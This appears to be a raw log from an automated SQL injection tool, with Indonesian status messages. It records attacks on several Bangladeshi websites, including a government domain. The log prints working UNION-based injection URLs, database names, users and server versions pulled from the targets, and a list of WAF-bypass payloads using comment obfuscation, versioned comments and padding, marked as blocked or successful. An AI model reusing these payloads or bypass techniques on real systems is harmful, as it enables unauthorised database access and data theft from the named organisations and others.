idbs

Version:5.5.44-0+deb7u1
User server: bdgroup_foods@localhost
Database: bdgroup_foods
Query: www.bdfoods.com.bd/awards.php?id=5/**8**/and/**8**/0/**8**/union/**8**/select/**8**/1,2,3,4--+
angka yg di tampilkan: 3,


[INFO] www.bdp.gov.bd conection checking
mencoba cek vuln dengan koma vuln sqli found
[INFO] STRING based injection
memulai menghitung order by 6
order by yg di dapat 12 colom
[INFO] Site www.bdp.gov.bd injected
Version:10.3.19-MariaDB
User server: bdpgov_apuser@localhost
Database: bdpgov_bdpnew
Query: www.bdp.gov.bd/index.php?id=56%27/**8**/and/**8**/0/**8**/union/**8**/select/**8**/1,2,3,4,5,6,7,8,9,10,11,12--+
angka yg di tampilkan: 3,


[INFO] injecting parameter amp;
[INFO] injecting parameter amp;id=3
[INFO] www.bpatc.org.bd conection checking
mencoba cek vuln dengan koma vuln sqli found
[INFO] UNION based injection
memulai menghitung order by 7
[INFO] WAF detected
mencoba bypass dengan /**8**/and/**8**/0/**8**//*!50000UniOn*//**8**//*!50000select*//**8**/
WAF BLOCKED: /**8**/and/**8**/0/**8**//*!50000UniOn*//**8**//*!50000select*//**8**/
WAF TYPE: Forbidden

[INFO] WAF detected
mencoba bypass dengan +and+mod(9,9)+/*!50000UniON*/%23AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%0A/*!50000sEleCt*/+
WAF BLOCKED: +and+mod(9,9)+/*!50000UniON*/%23AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%0A/*!50000sEleCt*/+
WAF TYPE: Forbidden

[INFO] WAF detected
mencoba bypass dengan /**//*!12345UNION+SELECT*//**/
WAF BLOCKED: /**//*!12345UNION+SELECT*//**/
WAF TYPE: Forbidden

[INFO] WAF detected
mencoba bypass dengan %0aand%0a0%0aUniON%0aselect%0A
WAF BLOCKED: %0aand%0a0%0aUniON%0aselect%0A
WAF TYPE: Forbidden

[INFO] WAF detected
mencoba bypass dengan +div+0+/*!50000%55NIoN*/+/*!50000%53eLEct*/+
WAF BLOCKED: +div+0+/*!50000%55NIoN*/+/*!50000%53eLEct*/+
WAF TYPE: Forbidden

[INFO] WAF detected
mencoba bypass dengan +and+mod(9,9)%20unION%2523aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%0aSelect%20
WAF Bypased lanjut inject lagi
[INFO] www.bpatc.org.bd conection checking
mencoba cek vuln dengan koma vuln sqli found
[INFO] UNION based injection
memulai menghitung order by 6
connection error: periksa kembali URL atau server down


[INFO] www.bpatc.org.bd conection checking
mencoba cek vuln dengan koma vuln sqli found
[INFO] UNION based injection
memulai menghitung order by 3
connection error: periksa kembali URL atau server down

[INFO] www.bpatc.org.bd conection checking
mencoba cek vuln dengan koma not vuln
[INFO] www.bpatc.org.bd/index.php?pageid=111&&id=3
NOT FOUND gagal mencari error page
mau paksa inject ?? y/n [INFO] coba inject manual
[INFO] www.katalyst.com.bd conection checking
mencoba cek vuln dengan koma vuln sqli found
[INFO] UNION based injection
memulai menghitung order by 4
[INFO] WAF detected
mencoba bypass dengan /**8**/and/**8**/0/**8**//*!50000UniOn*//**8**//*!50000select*//**8**/
WAF Bypased lanjut inject lagi
[INFO] www.katalyst.com.bd conection checking
mencoba cek vuln dengan koma vuln sqli found
[INFO] UNION based injection
memulai menghitung order by 1
order by yg di dapat 17 colom
[INFO] Site www.katalyst.com.bd injected
Version:5.6.41-84.1
User server: katalyst_swml@localhost
Database: katalyst_newsltr
Query: www.katalyst.com.bd/newsletter/april2013/index.php?id=30/**8**/and/**8**/0/**8**//**8**/and/**8**/0/**8**//*!50000UniOn*//**8**//*!50000select*//**8**//**8**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--+
angka yg di tampilkan: 2,2,4,7,3,4,5,6,7,9,